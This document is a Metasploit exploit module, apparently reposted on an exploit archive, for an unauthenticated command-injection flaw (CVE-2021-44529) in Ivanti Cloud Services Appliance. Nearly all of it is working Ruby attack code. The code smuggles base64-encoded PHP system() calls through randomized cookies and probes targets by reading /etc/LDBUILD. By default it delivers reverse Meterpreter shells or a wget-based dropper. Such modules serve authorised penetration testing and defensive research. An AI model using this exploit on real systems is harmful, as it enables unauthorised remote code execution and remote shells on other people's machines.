Ivanti Cloud Services Appliance (CSA) Command Injection

2023.01.18
Credit: h00die-gr3y
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Cloud Services Appliance (CSA) Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in the Ivanti Cloud Services Appliance (CSA) for Ivanti Endpoint Manager. A cookie based code injection vulnerability in the Cloud Services Appliance before `4.6.0-512` allows an unauthenticated user to execute arbitrary code with limited permissions. Successful exploitation results in command execution as the `nobody` user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jakub Kramarz', # Discovery 'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor ], 'References' => [ ['CVE', '2021-44529'], ['URL', 'https://forums.ivanti.com/s/article/SA-2021-12-02'], ['URL', 'https://attackerkb.com/topics/XTKrwlZd7p/cve-2021-44529'], ['EDB', '50833'], ['PACKETSTORM', '166383'] ], 'DisclosureDate' => '2021-12-02', 'Platform' => ['unix', 'linux', 'php'], 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_PHP], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_http' } } ], [ 'PHP Command', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Type' => :linux_dropper, 'CmdStagerFlavor' => ['wget', 'printf', 'echo'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_http' } } ] ], 'Payload' => { 'BadChars' => '"' # We use this to denote the payload as a string so having it in the payload would escape things. }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) end # Randomize the cookie pairs for the request. def randomize_cookie(payload) # Number of cookie pairs should be at least 4, and the first cookie pair should # always have the value 'ab'. Note that the Nth cookie in the request, where # N=no_of_cookies-2, should contain the payload. # # example 1: Cookie: sG34st=ab;g3sBdnn=<PAYLOAD>;h4hYyeEe=;j7sJJjjs=; # example 2: Cookie: dvDfR6F=ab;bxvGE=;Fs=<PAYLOAD>;uEn44Nkk=;nnXk=; no_of_cookies = rand(4..8) cookie_name = Rex::Text.rand_text_alphanumeric(1..8) payload_cookie_number = (no_of_cookies - 2) random_cookie = "#{cookie_name}=ab;" for cookie_no in 2..no_of_cookies do cookie_name = Rex::Text.rand_text_alphanumeric(1..8) if cookie_no == payload_cookie_number random_cookie << "#{cookie_name}=#{payload};" else random_cookie << "#{cookie_name}=;" end end return random_cookie end def check_vuln # check RCE by grabbing CSA version banner stored on /etc/LDBUILD payload = Base64.strict_encode64('readfile("/etc/LDBUILD");') cookie_payload = randomize_cookie(payload) return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'client', 'index.php'), 'cookie' => cookie_payload.to_s }) rescue StandardError => e elog("#{peer} - Communication error occurred: #{e.message}", error: e) return nil end def execute_command(cmd, _opts = {}) case target['Type'] when :unix_cmd payload = Base64.strict_encode64("system(\"#{cmd}\");") when :php_cmd payload = Base64.strict_encode64(cmd.to_s) when :linux_dropper payload = Base64.strict_encode64("system(\"#{cmd}\");") end cookie_payload = randomize_cookie(payload) return send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'client', 'index.php'), 'cookie' => cookie_payload.to_s }) rescue StandardError => e elog("#{peer} - Communication error occurred: #{e.message}", error: e) fail_with(Failure::Unknown, "Communication error occurred: #{e.message}") end def check print_status("Checking if #{peer} can be exploited.") res = check_vuln return CheckCode::Unknown('No response received from the target.') unless res return CheckCode::Safe unless res.code == 200 && !res.body.blank? && res.body =~ /<c123>/ begin parsed_html = Nokogiri::HTML.parse(res.body) rescue Nokogiri::SyntaxError => e return CheckCode::Unknown("Unable to parse the HTTP response! Error: #{e}") end csa_version = parsed_html.at_css('c123') if csa_version&.text&.blank? CheckCode::Vulnerable('Could not retrieve version.') else CheckCode::Vulnerable("Version: #{csa_version.text}") end end def exploit case target['Type'] when :unix_cmd print_status("Executing #{target.name} with #{payload.encoded}") execute_command(payload.encoded) when :php_cmd print_status("Executing #{target.name} with #{payload.encoded}") execute_command(payload.encoded) when :linux_dropper print_status("Executing #{target.name}") execute_cmdstager(linemax: 262144) end end end


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